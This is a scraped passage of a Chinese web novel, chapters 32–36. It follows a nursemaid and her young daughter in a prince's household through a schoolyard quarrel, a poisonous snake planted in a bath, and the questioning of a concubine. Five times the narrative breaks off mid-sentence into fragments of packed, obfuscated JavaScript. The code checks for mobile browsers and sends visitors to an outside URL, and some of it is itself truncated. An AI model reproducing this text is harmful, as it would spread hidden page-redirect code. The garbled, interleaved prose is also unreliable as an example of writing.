这时锦宝儿突然跑进花圃,从一朵鲜花上面捉了只蜂蜜,转过身,直接把蜜蜂喂进男孩子的嘴里。 “啊!”男孩子呆愣一下,这才发出惊恐的叫声:“小贱种,你给我喂了什么!” “是蜜蜂呀!你说话不好听,所以要吃蜜蜂,把嘴巴变甜甜的,以后就是好孩子啦。”锦宝儿理直气壮地说道。 “啊,呸,呸呸~”男孩吓坏了,捂着喉咙用力往地上吐。 可他方才下意识地把那只蜜蜂给吞了,现在感觉整个胃都在发烧。 “小贱种!你找死!都给我上!”男孩仰起头,目光凶狠地看向锦宝儿。 那几个孩子互相看了看,犹豫不决地向锦宝儿和谢黯围拢。 “各位小公子,凛王就在书院!”沈姝拦在两个孩子身前,大声说道。 果然,他们听到凛王二字就退缩了,互相看了看,退开了一些。 “在干什么?”厉喝声陡然响起。 是这几个孩子的家人来了,急匆匆走在前面的,正是这领头闹事的男孩的母亲。 “淑姨,你和宝儿妹妹站我身后。”谢黯冷着小脸,从花圃里快步出来,挡到了沈姝和锦宝儿身前。 “娘亲,这个小贱婢往我嘴里塞蜜蜂!”男孩冲上前去,拉住那贵妇人的手大声告状。 第32章 顶撞,力大 锦宝儿挨着沈姝站着,奶声奶气地说道:“是甜甜的蜜蜂,让你的嘴巴变甜甜。” “谢小公子,这是你的奴婢?”贵妇人看清是谢黯,怒气强行压下去了一些。 “她们不是奴婢,是我的奶娘和我的小妹妹。”谢黯挺直了腰,仰头和那妇人对视。 “奶娘?”贵妇和身边的人交换了眼神,打量起沈姝来:“原来你就是那个给小公子挡灾去厄的粗使妇人。” 沈姝垂着头,双手搭在身前,平静地回道:“正是民妇。” “这贱丫头给我家桢儿嘴里喂蜜蜂,好大的狗胆!”贵妇往四周看,没发现凛王的身影,腰又挺得直了些。 “您家公子出言不逊,公然辱骂谢家长公子和明珠小姐,若此事被凛王殿下和常阳郡主知晓,不知贵府能否担得起后果?”沈姝不卑不亢地说道。 “我家桢儿向来知礼守礼,你敢污蔑他。”贵妇眸子圆睁,大声呵斥:“来人,把这恶妇拿下!打她十板子,拖去谢府送给老夫人发落。” “你们敢!”谢黯伸出双手挡到沈姝面前,愤怒地说道:“是刘桢骂我扫把星,克死爹娘!” “我没有!”那男孩慌了,矢口否认。 “你有哦,”锦宝儿歪着小脑袋,奶声奶气地说道:“大家都听到啦!说谎的孩子,今天晚上会被小公子的爹娘揍!狠狠地~揍你们屁股!” 此话一出,竟真有一阵大风横扫而来,一阵枝叶乱摇。 众人脸色大变,那孩子也捂住了嘴,不敢再说话。 锦宝儿仰起小脸,眯着眼睛看天空,奶呼呼地说道:“真的听到啦!天上的叔叔伯伯姨姨都听到啦。” 几个妇人脸色更难看了,那贵妇一把抓住了男孩,拖着他就往园子外走。 “真是晦气。”贵妇小声骂道。 “欺负人的大人,也会被天上的叔叔伯伯姨姨狠狠揍屁股哦。”锦宝儿大声说道。 贵妇脚下一个趔趄,差点摔倒。 其余妇人见状,也不敢久待,找到自家孩子快速离开了花圃。 “真是一群坏孩子呀。”锦宝儿歪着脑袋想了想,小声说道:“这样比一比,王爷还是很好的嘛。” 谢砚凛还没哄好她呢,她先把自己哄好了。 不过沈姝也不想锦宝儿真的误会谢砚凛,虽然谢砚凛总是亲近锦宝儿的举动很可疑,可是往深处想,谢砚凛肯定不是恶人。一个肯为全城百姓豁出去命的人,怎么会坏呢?可能他单纯就是喜欢孩子? “淑姨,宝儿妹妹,抱歉,害你们挨骂了。”谢黯仰着小脑袋看沈姝。 “他们平常就这样对你吗?”沈姝蹲下来,心疼地抱住他。 谢黯眼神一暗,自从谢长生回来的事传开,他们就开始在背地里说他要失宠了。最近这言论越来越过份,甚至开始说他克死双亲。 “不是我克死的,对不对?”谢黯看着沈姝,眼眶泛红。 “不是的。”沈姝心疼地抱住他,手在他的背上轻拍。 “他们嘴巴臭臭,你把耳朵捂上,不要听。”锦宝儿踮起脚尖,捂住谢黯的耳朵。 “你真的给他喂了蜜蜂吗?”谢黯好奇地问道。 锦宝儿点头,笑眯眯地说道:“**精,吃蜜蜂!臭嘴巴,洗香香!宝儿全部~都懂~” “你真厉害,你敢抓蜜蜂。”谢黯一脸赞叹地看着她。 “沈娘子。”叶浸尘不知何时到了,将一枝茶花递过来:“这是小公子亲手打理的茶花。” 沈姝赶紧接过来,小心地握着。 “小姑娘,你叫什么?”叶浸尘弯下腰,仔细看锦宝儿的脸。 “山长大人,我叫锦宝儿。”锦宝儿双手搭在额前行礼。 “我姓叶,小公子姓谢。你呢,姓什么?”叶浸尘笑吟吟地问。 “锦宝儿啊。”锦宝儿歪着小脑袋,很困惑地看着叶浸尘。这个大人长得很好看,可是脑子笨笨的,都听不懂她说话。 叶浸尘若有所思地挑了挑眉,笑道:“哦,原来是锦宝儿,姓锦?” 锦宝儿叹了口气,朝沈姝伸出手:“娘亲抱。” 她有点累了,今天走了好多路,还说了好多话,还抓了蜜蜂,现在只想让娘亲抱着。 沈姝把锦宝儿抱起来,朝叶浸尘微微低身行礼,“民妇告退。” 谢黯也转过身,朝叶浸尘行了礼,跟上了沈姝。 叶浸尘凝视着沈姝的背影,低声道:“原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444829|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来谢砚凛喜欢这样的……” 路上。 谢黯跟在沈姝身边,不时羡慕地看看锦宝儿,想像自己此刻也在娘亲的怀里。 沈姝一眼看到谢黯的小表情,蹲下来朝他伸手:“小公子,来。” “我可以走,淑姨抱小妹妹。”谢黯摇摇头。 沈姝笑笑,一把将他抱起来,让两个孩子都在她肩上趴着,一只手里还握着山茶花,大步往前走。 守在园子入口处的侍卫看得目瞪口呆,连忙过来迎接。 “小公子,属下来抱吧。” 谢黯不敢累着沈姝,便朝侍卫伸出手去。沈姝却朝侍卫摇了摇头,坚持自己抱着两个孩子。谢黯刚受委屈,她得抱着才放心。 “凛王殿下,实在是那刁妇和小贱婢手段毒辣,竟给桢儿嘴里喂蜜蜂。您瞧瞧桢儿舌头都肿了~” 沈姝眉头微拧,朝前面看去。那一群人就站在茶花前,拦在谢砚凛面前告状。 谢砚凛垂眸看去,见那男孩张着嘴,吐着半截红肿的舌头,于是冷笑,哑声道:“废物。” 贵妇身形一僵,不敢置信地看谢砚凛。 “他父亲十一岁能单手握起九丈红缨枪,他如何?”谢砚凛说完,抬眸朝着沈姝这边看来,见她双手抱俩,顿时怔住。 他竟不知,沈姝如此有力! “王爷。”沈姝放下两个孩子,向他行礼。 “来人,去刘府找刘远志,问他怎么办。”谢砚凛牵住谢黯的手,转身往书院大门处走去。 贵妇母子已经吓白了脸,不敢多说一字。另几个妇**气也不敢喘,埋着头侧身让路。 锦宝儿攥着沈姝的裙摆,雄纠纠气昂昂地往前迈着小脚丫。她是一个很棒的小侍女,才不是小贱种!她才不听难听的话,她的耳朵小小的,只装好听的话。 到了马车前,谢砚凛把谢黯抱上马车,转过身,直接把锦宝儿抱起来,放到了马车上。 沈姝刚想说,她和锦宝儿走回府,谢砚凛的手已经落到她的腰上,把她也抱上了马车。 她站在马车前头,有些错愕地看谢砚凛。 “你去解释,我没欺负你。”谢砚凛仰头看着她,颇有些咬牙切齿的滋味。 第33章 刺激、杀鸟 “哦~”沈姝看着谢砚凛那有些咬牙切齿的俊脸,忍不住有些好笑。 “你还哦?!”谢砚凛气笑了。 如今在大庸国,只有沈姝母女敢在他面前如此放肆!说她们胆大吧,又时时记得守规矩,行礼的速度比谁都快,姿势比谁都恭敬。说她们胆小吧,又总敢当面挑衅他。 “砚凛哥哥!”崔敏的声音从长街对面响起来。 沈姝心中一凛,立刻埋下头,深深弓腰,退到马车边边上站着。 崔敏很快就冲了过来,一脸不悦地看向沈姝。 沈姝曲着膝,恭敬地向她行礼:“民妇见过郡主。” “呵,你好大的狗胆,敢与王爷同车。”崔敏呵斥道。 “郡主明察,民妇是赶车的。”沈姝回道。 “你?一个粗使妇人,你以前碰过马吗?还赶车。”崔敏死死盯着沈姝,怒火就快压不住了。 王府下人告诉她,沈姝出来接小公子了。可她在凛王府等了大半天,沈姝始终没回来,直到霍寻安的眼线来报,说谢砚凛和沈姝在一起,她才意识到一开始就是谢砚凛和沈姝同去的书院! 方才,她亲眼看到谢砚凛把沈姝抱上马车,这一幕刺得她怒火中烧。若不是还要维持淑女形象,她早已经挥起马鞭,朝着沈姝抽过去了! 正在她瞪着沈姝不放时,谢砚凛已经上了马车。 “进来。”谢砚凛推开马车门时,唤了沈姝一声。 沈姝轻轻摇头,她可不想成为崔敏出气的靶子,而且来时路上她就决定了,回去途中不会再和谢砚凛同车。 “沈娘子别怕,我赶车很稳当。”卫昭跳上马车,握住了马鞭。 沈姝挨着卫昭坐下来,紧紧抓牢了身边的车驾。 吱嘎一声,马车门在她身后关上了。 “驾~”卫昭轻轻挥起马鞭,驾车前行。 沈姝扭头看去,崔敏正站在原地跺脚,眼眶都急红了。看来,谢砚凛这人还挺招女人喜欢的。她突然又想起以前听到的笑话,一个夫君最好耳聋嘴哑,既听不到夫人的牢骚话,也不会说出让夫人生气的蠢话,这样才是最好的夫君。 她又想,若是谢砚凛不能说话…… 啧。还是算了,这样对谢砚凛太残忍,而且谢砚凛对大庸国还是很重要的。毕竟国若不稳,她们这些小百姓们就更难过了。 马车一路往前,马车里不时传出谢黯和锦宝儿嘀咕的说话声,还不时有锦宝儿欢快的笑声。 沈姝忍不住回头看了一眼,马车门开了半道缝隙,只见谢砚凛一角袍袖在门内闪动,锦宝儿就趴在他的腿上,仰着小脸和他说话。 看来不需要沈姝帮他解释,他已经把锦宝儿哄好了。这个男人很会带孩子!比沈姝见过的所有男人都会! 回到王府时已经天黑了。 沈姝牵着锦宝儿走角门,谢黯一定要跟着她,最终只有谢砚凛走了正门。 “娘亲,二公子!”突然锦宝儿停下脚步,朝着前面指了指。 沈姝往前看去,谢长生独自站在玉兰树下,正不知道在树下挖什么东西。 “你在干什么。”谢黯走过去,大声问道。 谢长生吓了一跳,看清是沈姝三人,立刻撒腿就跑。 谢黯好奇地走过去,朝谢长生方才站的地方探头看了看。只见草丛里趴着一只被剪断了尖喙,拔光羽毛的小鸟。 “啊~”他吓得惊呼一声,赶紧往回跑:“淑姨,长生弟弟杀了一只鸟。” 沈姝搂住他,带着他和锦宝儿快速往回走去。 锦宝儿一边走,一边往那株玉兰树下看,困惑地问道:“他为什么要杀掉小鸟?” “你不害怕吗?”谢黯问道。 锦宝儿眨巴着眼睛,摇了摇头。娘亲带着她来京城的时候,盘缠被坏人抢了,没有钱吃饭,她好饿、好饿。娘亲和拢烟姑姑带她到林子里设下陷阱,抓兔子,抓蛇,偶尔也会抓到鸟。她们会放掉小小的鸟宝宝,肥肥的鸟都进了她的肚肚。 沈姝说,锦宝儿长壮壮的才最重要,不能饿肚子。 谢黯听锦宝儿说她们饿肚子的事,小脸上全是难过的神情。他若哪一天没胃口,府上就会给他准备很多种食物,最多的一次,一顿就有五十多种,就盼着他能吃上几口。可是锦宝儿却只能吃野菜,猎野物。若是那天没有找到食物,她和淑姨都要饿肚子。 “以后我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444830|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会让你和淑姨挨饿!”谢黯拉紧了锦宝儿的手,小声说道。 两小只手牵着手,大步往前走着,两个小脑袋不时靠近嘀咕几句。 沈姝跟在后面,忍不住又回头看了一眼。这一眼让她后背发凉,那谢长生竟然又折返回来,就躲在树后一脸恨意地看着她。 这孩子才多大,表情竟然就这么狠了。 沈姝皱了皱眉,紧跟上了前面的两个孩子。 回到小院时,谢砚凛已经到了,正在和方嬷嬷说话。谢老夫人派方嬷嬷来接谢黯去主院用晚膳,如此一来,谢砚凛也会跟着去。 谢黯孝顺,谢老夫人平常对他也颇好,所以并没拒绝,跟着方嬷嬷去了。果然,谢砚凛也换了件衣裳,去了主院。 沈姝正好松了一口气,不必面对谢砚凛。她带着锦宝儿去小厨房,母女二人晚膳是一锅烩面,沈姝往烩面里多放了一些肉。锦宝儿最近养得好了些,可以吃多一点荤腥了。 眼看她的心肝宝儿的小脸蛋红润了起来,沈姝就觉得开心。 一锅烩面被母女二人吃得干干净净,连汤都喝光了。 沈姝收拾厨房,锦宝儿摸着圆滚滚的小肚肚,独自一人在院子里踱步消食,不时舞几下小拳头,练习小破院邻居刘奶奶教她的拳法。她觉得自己再努力多吃点饭,肯定能比谢砚凛长得壮。 “宝儿,泡澡喽。”沈姝拎着衣篮子从耳房出来,朝着锦宝儿招手。 锦宝儿立刻朝她跑了过去。 她来了大半月了,第一次进浴房。之前沈姝不敢带她进浴房,只用小盆子给她洗澡。今天那叔侄不在,又想着锦宝儿今日走了很多路,所以沈姝想让锦宝儿泡泡温泉水。 进了浴池,沈姝把锦宝儿放到池边坐着,去准备洗澡洗头的膏子。这些东西是她自己用野花和皂荚自己炼的,香气随她找到的花而不同。 锦宝儿乖巧地坐在台阶上,小心地用脚尖去触碰池水。暖暖的水在她的脚尖荡漾开,小嘴巴立刻快活地咧开了。 “娘亲,我喜欢王府。”她仰起小脸,快活地说道。 这里真好啊!有暖暖的大池子,有香香的烩面,还有软软的小床。 第34章 水中,胸膛 沈姝怔了一下,随即柔声问道:“以后我们离开王府,就没有这样的大屋子住了,宝儿要怎么办?” “宝儿不要大屋子,宝儿只想和娘亲在一起。”锦宝儿抱住沈姝的胳膊,小脸在她的手臂上轻轻地蹭动。 “娘亲会努力的,让宝儿住大宅子,睡大床。”沈姝往她的小脸上亲亲,小声道:“我们游水好不好?” “好。”锦宝儿乐呵呵地点着小脑袋,迫不及待地往池子里跳。 沈姝滑进池中,扶住锦宝儿的身子,带着她慢慢浮起来,这才放手。 一直在逃命嘛,当然会的东西多,她爬树游水都会,还教了锦宝儿。锦宝儿游水只会一个姿势,像个小青蛙在水里蹬动,而且游不了几下就得休息。 可这不影响她的快乐。 她在池子边蹬蹬腿,仰起小脸吐水泡泡。 沈姝拿只小盆,在一边搓洗小宝儿的衣裳,等下去井台边直接清洗就好。 突然,锦宝儿在水池里惊呼了一声。 沈姝赶紧放下手里的东西,探头往水里看,只见锦宝儿正慌乱地蹬着小脚丫往岸边划拉,白雾氤氲中,似有一条细长的黑影在追赶锦宝儿。锦宝儿细细的小胳膊小腿儿拼了命地蹬着水,小脸不时浸入水中,呛得直哭…… 沈姝吓了一跳,连忙跳进水里,把锦宝儿捞上来,再飞快伸手抓住那条细长的黑影。 那黑影迅速沉入水中,尾巴在水面上拖出长长一道水浪。但沈姝刚刚已经触到它的皮肤了,滑腻腻的,竟是一条蛇! 这是浴房,是温泉水池,怎么会有一条蛇! 沈姝抱着锦宝儿快步往岸边走去,此时的她真希望这个浴池能小一点、再小一点,能让她一步就跨上去! 池子四周的兽头吐水声哗啦啦地响着,池水被激荡出阵阵波澜,白色的雾气让沈姝完全看不清那蛇在哪里。她把宝儿高高地举起来,不顾一切地往岸边跑。 人在水里,阻力让她根本不可能跑得像岸上一样快,而且池底滑溜溜的,她连着几次差点滑倒。 宝儿趴在她的肩头,小身子绷得紧紧的,大眼睛使劲睁着,想找到蛇的影子。 “娘亲,大蛇。”突然,宝儿惊呼了一声! 沈姝扭头看去,那蛇竟从水里弹出来了,它竖着三角脑袋,幽绿的竖瞳泛着阴冷的光,朝着宝儿凶猛地张开大嘴,分了岔的舌信子滋滋地弹动。 这分明是一条剧毒蛇! “上去。”沈姝不顾一切地把宝儿往岸上扔,转过身用双手去拦住黑蛇! 就在这时,浴殿大门被一把撞开,谢砚凛身形掠至,手中掷出寒刃,它旋转着,劈向黑蛇!而他自己则如箭一般冲向锦宝儿,接住了她。 沈姝此时往水里倒去,轰地一声,跌坐在水里。这水池只到她腰间,她坐下去后,因为身子后仰的缘故,吃了好几口水。水从她头上淹过,她却不敢闭上眼睛,想要看清楚宝儿的境况。 水波晃动中,她看到谢砚凛抱住了锦宝儿,他玄色的锦袍散开来,往她头顶投下一片阴影。 终于,她失去了力气,往水里倒去…… 哗啦啦的水声瞬间充满了她的耳朵,嗡鸣声中,她仿佛看到了刚生下宝儿的那一年,她和宝儿为了躲过抢掠的叛军,躲在一只小水塘里,她把宝儿顶在头顶,借着水塘边的茅草遮挡着她的小身子,而她缩在冰冷的水中,只露出一双眼睛和鼻子。 那天她是真的怕啊,怕宝儿哭…… 可宝儿好乖,乖乖地睡着,一点动静也没发出来。等她哆哆嗦嗦地从水里出来,这才发现宝儿哪是乖,她是饿晕了! 那天她哭着从塘里抓了条鱼,用钗子刮了鳞,剖了腹,生吞了鱼肉。她得有奶水,才能喂宝儿! 已经很久没有这种窒息的感觉了。 死亡的恐惧和苦涩回忆在一刻卷土重来,她下意识地张大了嘴想呼吸,却又咽进了好口水。 哗啦啦…… 又是几声水声响过,一双手摸到了她的身体,把她从水里抱了起来。 冰凉的空气钻进她的鼻子里,她剧烈地咳嗽了起来。 “怎么了!”卫昭冲了进来,看到眼前一幕,撒腿就往浴池边冲。 “站住。”谢砚凛立刻转身,用身体挡住沈姝。 她身上只有一件肚兜,白色亵裤被水浸透了,牢牢地缠在她纤细的腿上,肌肤若隐若现。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444831|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>卫昭回过神,连忙转过身去。 “池中有蛇,搜。”谢砚凛看向落在池岸上的半截黑蛇,面色铁青。 “怎么会有蛇!”卫昭大惊,微转过头,大声道:“沈娘子,你和王爷先出来,我带人搜蛇。” 沈姝的喘息渐渐平静了,她看向蹲在岸上的锦宝儿,赶紧拍着谢砚凛的肩,让他看锦宝儿。 谢砚凛抱着沈姝大步走到池岸上,沈姝双脚着地,立刻把锦宝儿抱起来,到灯下仔细检查。 “可咬着了?”她急声问道。 锦宝儿吓得直往她怀里钻,拖着软软的哭腔道:“宝儿怕……” 能让锦宝儿说出怕字,这是真的吓到了!沈姝的心揪紧了,把锦宝儿抱在腿上坐着,从一双小脚丫检查起,全部检查遍,确定没有蛇咬过的痕迹,这才放下心来。 她看向池子,心中凉了半截。这蛇是有人故意放进来的,是想要她和锦宝儿的命! “你呢?”谢砚凛蹲到沈姝面前,不由分说地拉起她的手臂检查。 她的手腕在撑在池底时扭到了,现在腕口一圈红肿,方才急着抱宝儿,并没有察觉到疼痛,这时看到肿起了的手腕,这才发现骨头痛得厉害。 “身上呢?咬到没有?”谢砚凛扳过她的肩,去检查她的背。 这是他第二次看到她的背。累叠的伤处,每一次看到他都会觉得心里发沉。 他分不清这是什么感觉,是心疼?还是别的什么。谢砚凛没喜欢过什么人,面对沈姝,他却总忍不住想多看一眼,再多说几句话…… “我应该没咬到。”沈姝来不及顾忌男女有别之事,她飞快地检查了一下自己的双腿,确定没有被咬到,这才长长地松了口气。 她一定得好好活着,要活到宝儿长大,活到宝儿有了自己的小天地,没有自己也能开开心心地生活。 她一定一定不能死!也不能受伤生病,成为宝儿的负担! 她松了口气,全身软软往谢砚凛身上靠去。 他身上很暖,胸膛很结实很硬,靠起来真的很放心。沈姝搂紧了宝儿,悄然把脸往他胸膛上靠了靠。 只要一小会儿,她想好好靠一下…… 第35章 审问,同住 刷地一下,谢砚凛抓起了披风,把母女两个都包在了里面。 “卫昭,搜!”他微侧了头,看向还等在原地的卫昭。 卫昭这时才敢转身,他朝着外面吹了声口哨,一队侍卫快步跑进来,在浴殿里搜找毒蛇。 沈姝这时也清醒了一些,她抱起锦宝儿向谢砚凛行了个礼,小声道:“多谢王爷搭救,我们先出去。” 她衣衫不整,留在这里徒增麻烦。宝儿也得赶紧换上干爽的衣裳,再给她煮点压惊的汤水, 看着沈姝母女出去,谢砚凛上前捡起自己的短刀,刷地一下扎进地上的那半截蛇身上,举起来细看。 卫昭大步走了过来,看清黑蛇的样子,倒吸了口凉气。 “这可是天下至毒,黑头烙!只要咬上一口,绝无活命的可能,而且那毒血流经身体每一寸经脉,会让人死得格外痛苦!”卫昭顿了顿,怒气冲冲地说道:“有人刺杀王爷!赶紧找,刺客肯定还在府中。” “是沈姝。”谢砚凛哑声道。 卫昭震了一下,随即暴怒,刷地一下抽出刀:“哪个挨千刀的,竟敢谋害沈娘子!被老子逮到,老子要活刮了他!” 谢砚凛眸子飞快抬起,盯住了卫昭。 那几个侍卫搜了一圈,没发现别的毒蛇,围到了谢砚凛面前。 “可沈娘子也没得罪谁啊?而且她带着宝儿一起,这不是连宝儿也害了吗!” “难不成是那边的人……” 有侍卫说着,扭头看向主院方向。 嫉恨沈姝母女的除了吴姨娘,还会有谁呢? …… 不过半盏茶的功夫,吴南枝又被拎到了谢砚凛面前。 他冷冷垂眸看着吴南枝,脚边是那条黑蛇。 吴南枝看着蛇,吓得瑟瑟发抖:“王爷、王爷这是什么意思?” “吴姨娘,锦宝儿才三岁,你竟用毒蛇害她,心太狠了吧。”卫昭恼怒地说道。 “我没有!”吴南枝一听就尖叫了起来:“我这两日一直在老夫人身边服侍,半步都未曾离开过,老夫人可以作证。” 沈姝站在耳房门口,听着吴南枝的尖叫声,脑海里闪过谢长生的脸。可是谢长生毕竟也只有三岁多,他也不敢抓蛇啊,何况那是条剧毒蛇,他又是从哪里抓的呢? 正想心事,谢长生牵着谢老夫人的手快步走进来了,他偎在谢老夫人腿边,怨毒地看着沈姝。 “砚凛,吴娘子这几日不分昼夜伺候在我身边,不会是她干的。”谢老夫人急声说着,大步走向谢砚凛。 “老夫人,妾身冤枉,妾身真的冤枉啊。”吴南枝爬过去,抱着老夫人的腿嚎啕大哭:“借妾身一百个胆,妾身也不敢摸那条蛇。” “娘。”谢长生走过去,抱着吴南枝也大声哭。 谢老夫人叹了口气,说道:“你再不喜吴娘子,也不能冤枉她。何况她给你生了儿子,还辛苦拉扯大,没有功劳也有苦劳。以后,我让她们母子少在你面前出现,你消消气吧。” 卫昭把谢老夫人的话写给谢砚凛看。 谢砚凛抬起脚,在那蛇身上碾了碾,轻轻一踢,那蛇就被踢到了吴南枝面前。 “老夫人救命,快救救妾身。”吴南枝吓得死死地抱住谢老夫人的腿,闭着眼睛不停地颤抖。 “砚凛,看在你长兄长嫂的份上,听我一回行吗?”谢老夫人朝吴南枝挥挥手,慢步走向了谢砚凛:“这些年你做什么事我都不插手,哪怕你不肯娶妻生子,我也不依你。我就这一个心愿,这长生,得好好养大。” 谢砚凛看着她,冷冷道:“我听不到。” 谢老夫人愣住了,随即脸色涨得通红。 方嬷嬷已经写好了字,捧到谢砚凛面前。他接过来,一个字一个字地看完,转身走向耳房。 “送老夫人回去。”他哑声道。 沈姝侧身让路,让谢砚凛进了耳房。锦宝儿裹着被子坐在床上,正探着小脑袋看他。 谢砚凛把她连人带被子抱起来,哑声道:“今晚住我寝殿。” 啊? 这怎么行?沈姝赶紧跟上去,轻声道:“不合规矩……” “我就是规矩。”谢砚凛头也不回,越走越快。 耳房太小,窗子又矮,与外院相连,若再有人下手,锦宝儿想躲都找不到地方躲。 沈姝一路紧跟,跑得气喘吁吁,跟着谢砚凛进了他的寝殿。 之前谢砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444832|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛会时不时陪谢黯住在那边的房间,沈姝还是头一回进他的寝殿。两间寝殿的陈设大差不差,都很简单,但让沈姝意外的是,他的榻前竟悬挂红色锦帐! 他的喜好还真是特殊! “过来。”谢砚凛手指在床沿上敲了敲。 沈姝收回视线,快步到了榻前。榻上的被褥是水青色的,与他平常穿衣的颜色爱好倒是一致。 只是他为什么要挂红色锦帐?盼着成亲吗? 沈姝掀开被子,把宝儿放进去。其实她方才也忧虑耳房的安全,耳房后窗推开就是外院,窗子脆弱,很难让她放心。 不过她没想到谢砚凛会这么大方,让锦宝儿住在他的寝殿。她锦宝儿喂了点水,哄她睡着,再去寻谢砚凛的身影时,他已经出去了。 真这么大方,把整个寝殿都让给她? 是因为她照顾谢黯有功,还是因为她是沈家的,看在她父兄的份上…… 沈姝乱子里乱哄哄的,她靠着锦榻坐下,随手轻抚着悬在榻前的红帐。 柔软丝滑的缎子从她手心里滑落,她一个激灵,突然就想起了那个晚上—— 那个男人也是躺在红帐之中! 不可能,据她所知,谢砚凛从未得过重病,不可能是他。 沈姝把这荒唐的念头甩开,转头看向了锦宝儿。她的宝儿今日受了惊吓,千万莫要犯病才好。 她侧过身来,下巴搁在榻沿上,怔怔地看着锦宝儿。 过去的十一年真的很苦,直到有了锦宝儿,她才觉得有了盼头。她从未后悔过生下宝儿,也从未停止过歉疚,没能让宝儿生在一个安稳的家里。今日这种歉疚更是深了几分,只差一点……差一点她就要失去宝儿了! “乖宝儿。”她的手探进柔软的锦被里,轻轻地拉住锦宝儿的手,小声道:“娘亲没用,让你害怕了。娘亲会尽快攒够银子,带你离开王府。” 王府深深,不是她和宝儿能停留的地方。哪怕这宅子再大,衣裳再华美,都不是她和宝儿的家,所以她得在离开谢府之前想尽办法多赚银子! 脚步声在殿门口响起,沈姝飞快地抬起袖子擦掉脸上的泪,起身向进来的谢砚凛行礼。 第36章 守夜,喂茶 “王爷,奴婢想从明日起,带宝儿一起给小公子守夜。宝儿睡觉很安稳,我和宝儿就在小公子的榻前打地铺,望王爷恩准。” 沈姝垂着眸子,还有些湿的长发被她用一根布条扎紧,背上的衣服浸湿了好一块,领口处露出一小截里衣领子。 她的外衫都是王府发的,里衣是自己的,全都旧了,尤其是领口和袖口磨了边,虽用布条仔细包裹着补过,但洗多的衣服布料就是会变薄,哪怕补得再好,也挡不住旧色。 谢砚凛收回视线,走到榻边轻轻掀开红帐,看向锦宝儿的。 他的榻很大,相应的被子也大,锦宝儿躺在榻沿边上,小小的一团,小脸还没他巴掌大,看着格外招人疼。 “就住这儿。”谢砚凛转头看沈姝,顿了顿,又道:“谢黯需要练习独自入睡。” 沈姝有些为难,谢砚凛越厚待她们母女,那些人就会越仇视她,若没有宝儿,她还真不怕这些阴招。可她有宝儿啊!她不想让宝儿受到半点威胁。 “不行。”她斩钉截铁地说道:“奴婢和宝儿回耳房住,请王爷令卫昭把耳房的门窗加固,换一把锁。” 谢砚凛皱眉,反问:“为何是卫昭?” 沈姝被问愣住了,她第一反应就是有事找卫昭……可能因为卫昭人好,对宝儿好,也最好说话? 看着她茫然的样子,谢砚凛心里一阵不爽。他冷哼一声,直接解了外袍,走到窗前的贵妃榻前,甩了袍子,脱了靴子,躺下睡觉。 沈姝在榻边站了会儿,轻手轻脚地过去关窗。窗外月儿明亮,洒了满院子温柔的清辉,那树海棠静静地立于月色之中,在地上投下斑驳花影。 院子真美,宝儿喜欢这里。 可是,这里的人不喜欢宝儿。 沈姝轻轻地关上窗子,把烛火也剪暗了,再快步过去抱了一床被子过来,轻柔地盖到谢砚凛身上。 谢砚凛面朝榻的方向侧躺着,一只手放在枕边,被子盖上后,便只露出半截手掌来。他皮肤白,是贵族子弟从衣食无忧养出来的好肤色。身材好,是他从小勤奋习武练出来的好体格。 若她两个哥哥现在还在,应该像谢砚凛一样高挑健硕,俊美出挑。若沈家还在,她的宝儿应该会有像谢砚凛一样的爹爹,能力出众,握有权势,是她和宝儿的靠山。 沈姝忍不住多看了谢砚凛一眼,心里生出了几分对吴南枝的羡慕。 她不想和女人比,女子在世间真的很难,可这时的她又忍不住地去和吴南枝比——谢砚凛那时为什么会看上吴南枝呢?若是她,谢砚凛又会怎么样? 沈姝打了个激灵,抬手就往自己脑门上拍了一下。她忘了右手腕扭伤了,瞬间疼得眼泪直转。 她捂着手腕,慢步走回榻前,拿药膏揉了一会儿,又趴到榻边看锦宝儿。她今晚不准备睡,怕锦宝儿做噩梦,所以想好好守着她。 